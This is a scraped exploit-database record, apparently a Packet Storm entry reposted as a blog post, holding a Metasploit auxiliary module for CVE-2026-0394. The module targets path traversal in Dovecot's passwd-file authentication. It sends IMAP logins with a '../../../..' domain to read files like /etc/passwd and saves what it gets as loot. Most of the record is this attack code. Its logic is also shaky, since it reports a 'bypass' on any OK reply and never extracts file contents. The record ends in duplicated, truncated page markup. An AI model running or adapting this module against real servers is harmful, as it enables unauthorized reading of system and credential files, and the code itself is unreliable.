{“lastseen”:”2026-04-22T16:26:45″,”description”:”This Metasploit auxiliary module targets a path traversal vulnerability in Dovecot’s passwd-file authentication backend when per-domain configuration is enabled…”,”published”:”2026-04-22T00:00:00″,”modified”:”2026-04-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Dovecot passwd-file Path Traversal”,”source”:””,”references”:””,”id”:”PACKETSTORM:219561″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-0394″],”sourceData”:”==================================================================================================================================\\n | # Title : Dovecot passwd-file Path Traversal Metasploit Module |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/www.dovecotpro.com\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : This Metasploit auxiliary module targets a path traversal vulnerability in Dovecot\u2019s passwd-file authentication backend when per-domain configuration is enabled.\\n \\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Auxiliary::Report\\n include Msf::Exploit::Remote::Tcp\\n include Msf::Auxiliary::Scanner\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Dovecot passwd-file Path Traversal’,\\n ‘Description’ =\\u003e %q{\\n Dovecot passwd-file passdb is vulnerable to path traversal when configured to use\\n per-domain passwd files.\\n },\\n ‘Author’ =\\u003e [\\n ‘indoushka’\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2026-0394’],\\n [‘URL’, ‘https:\/\/documentation.open-xchange.com\/dovecot\/security\/advisories\/html\/2026\/oxdc-adv-2026-0001.html’],\\n [‘CWE’, ’22’]\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘DisclosureDate’ =\\u003e ‘2026-03-27’\\n )\\n )\\n \\n register_options([\\n Opt::RPORT(143),\\n OptString.new(‘TARGET_FILE’, [true, ‘File to read via path traversal’, ‘\/etc\/passwd’]),\\n OptString.new(‘DOMAIN_PAYLOAD’, [true, ‘Domain payload with traversal’, ‘..\/..\/..\/..’]),\\n OptEnum.new(‘PROTOCOL’, [true, ‘Protocol’, ‘IMAP’, [‘IMAP’, ‘POP3’]])\\n ])\\n end\\n \\n def run_host(ip)\\n print_status(\\”Dovecot passwd-file Path Traversal (CVE-2026-0394)\\”)\\n print_status(\\”Target: #{ip}:#{rport}\\”)\\n \\n sock = nil\\n \\n domain = datastore[‘DOMAIN_PAYLOAD’]\\n target_file = datastore[‘TARGET_FILE’]\\n \\n username = \\”test@#{domain}\\”\\n \\n print_status(\\”Attempting to read #{target_file} using domain: #{domain}\\”)\\n \\n content = read_file_via_auth(username, target_file)\\n \\n if content \\u0026\\u0026 !content.empty?\\n print_good(\\”Successfully read #{target_file}\\”)\\n print_line(content)\\n report_file_content(target_file, content)\\n else\\n print_error(\\”Failed to read #{target_file}\\”)\\n end\\n end\\n \\n def read_file_via_auth(username, target_file)\\n sock = nil\\n \\n begin\\n sock = connect\\n \\n banner = sock.get_once\\n vprint_status(\\”Banner: #{banner}\\”)\\n \\n if datastore[‘PROTOCOL’] == ‘IMAP’\\n sock.put(\\”a1 LOGIN \\\\\\”#{username}\\\\\\” \\\\\\”test\\\\\\”\\\\r\\\\n\\”)\\n response = sock.get_once\\n vprint_status(\\”Response: #{response}\\”)\\n \\n if response \\u0026\\u0026 response.to_s.include?(‘OK’)\\n print_status(\\”Authentication succeeded – file may have been read\\”)\\n return \\”Authentication bypass successful\\”\\n elsif response \\u0026\\u0026 response.to_s.include?(‘NO’)\\n return response if response.to_s.include?(target_file)\\n end\\n end\\n \\n rescue ::Exception =\\u003e e\\n vprint_error(\\”Error: #{e.message}\\”)\\n ensure\\n disconnect(sock) if sock\\n end\\n \\n nil\\n end\\n \\n def report_file_content(filename, content)\\n store_loot(\\n ‘dovecot.path_traversal’,\\n ‘text\/plain’,\\n rhost,\\n content,\\n filename.gsub(‘\/’, ‘_’),\\n \\”File read via path traversal: #{filename}\\”\\n )\\n end\\n end\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219561″,”cvss”:{“score”:5.3,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219561\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-22T16:26:45″,”description”:”This Metasploit auxiliary module targets a path traversal vulnerability in Dovecot’s passwd-file authentication backend when per-domain configuration is enabled…”,”published”:”2026-04-22T00:00:00″,”modified”:”2026-04-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Dovecot passwd-file Path Traversal”,”source”:””,”references”:””,”id”:”PACKETSTORM:219561″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-0394″],”sourceData”:”==================================================================================================================================\\n | #…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,22,12,21,13,53,7,11,5],"class_list":["post-48735","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-53","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n